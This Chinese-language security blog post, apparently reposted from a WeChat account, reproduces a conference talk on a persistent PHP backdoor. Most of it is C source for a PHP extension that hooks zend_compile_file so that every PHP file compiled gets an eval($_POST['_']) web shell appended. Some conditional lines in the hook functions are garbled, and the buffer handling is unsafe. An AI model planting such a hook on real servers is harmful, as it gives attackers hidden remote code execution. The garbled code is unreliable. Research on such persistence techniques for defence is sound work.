免责声明: 文章仅用于技术分享,切勿非法测试,由于传播、利用本公众号朱厌安全团队所提供的信息而造成的后果以及损失,均由使用者本人承担,本公众号朱厌安全团队以及作者不为此承担任何责任!如有侵权烦请告知,我们会立即删除并致歉!
0X01 前言
当时看见这个议题就感觉挺有意思的,虽然有些炒冷饭,但是作者 kawhi 思路是非常妙的。
议题提到y4er师傅,我简单的看了一下y4er师傅那边3年前的博客,通过Hook PHP 内核函数 zend_compile_string 。其实作者这个持久化后门的思路,也就是换成 zend_compile_file. 那么这个函数主要是干嘛的呢?其实就是PHP 将脚本文件编译成opcode 最后由zend虚拟机执行。
0X02 复现
现在知道原理了,就来看这个函数的结构
typedef struct _zend_file_handle {
char *filename;
char *opened_path;
zend_stream handle;
int type;
int free_filename;
int opened_path_length;
} zend_file_handle;
这个filename其实就是接下来要编译的文件,那么思路就来了,我们直接自己写一个zend_compile_file函数
static zend_op_array *my_compile_file(zend_file_handle *file_handle,int type)
{
const char * filename;
const char * myFilename;
FILE * oldpoint;
zend_file_handle new_file;
myFilename = "/tmp/nuy.php";
filename = file_handle->filename;
oldpoint = fopen(file_handle->filename,"r");
fseek(oldpoint,0L,SEEK_END);
long size = ftell(oldpoint);
rewind(oldpoint);
char backdoor[] = { "<?php error_reporting(0);eval($_POST['_']);?>" };
char buffer[1024];
fread(buffer,size,1,oldpoint);
fclose(oldpoint);
strcat(buffer,backdoor);
FILE *fp = fopen(myFilename,"wb");
size_t len = strlen(buffer);
size_t n = fwrite(buffer,1,len,fp);
zend_stream_open(myFilename,&new_file);
fclose(fp);
return orig_compile_file(&new_file,type);
}
这个函数大概功能就是在即将要编译PHP脚本文件末尾插上一段恶意代码,这里我们插上的是PHP后门,现在访问每一个PHP文件的时候,都会在末尾插上这个PHP后门达到持久化的目的。
接下来定义一个指针,保留一下原本的zend_file_compile 函数的指针
static zend_op_array *(*orig_compile_file)(zend_file_handle *file_handle,int type);
PHP_MINIT_FUNCTION(hook)
{
switch_bool = 0;
= 0) =
{
switch_bool =1;
orig_compile_file = zend_compile_file; //这里可以看到是如何劫持这个zend_compile_file函数的
zend_compile_file = my_compile_file;
}
return SUCCESS;
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(hook)
{
= 1) =
{
switch_bool = 0;
zend_compile_file = orig_compile_file;
}
return SUCCESS;
}
参考文献
https://github.com/Nuyoooah/hook
原文始发于微信公众号(朱厌安全团队):Hacking Club 零体积后门议题的复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论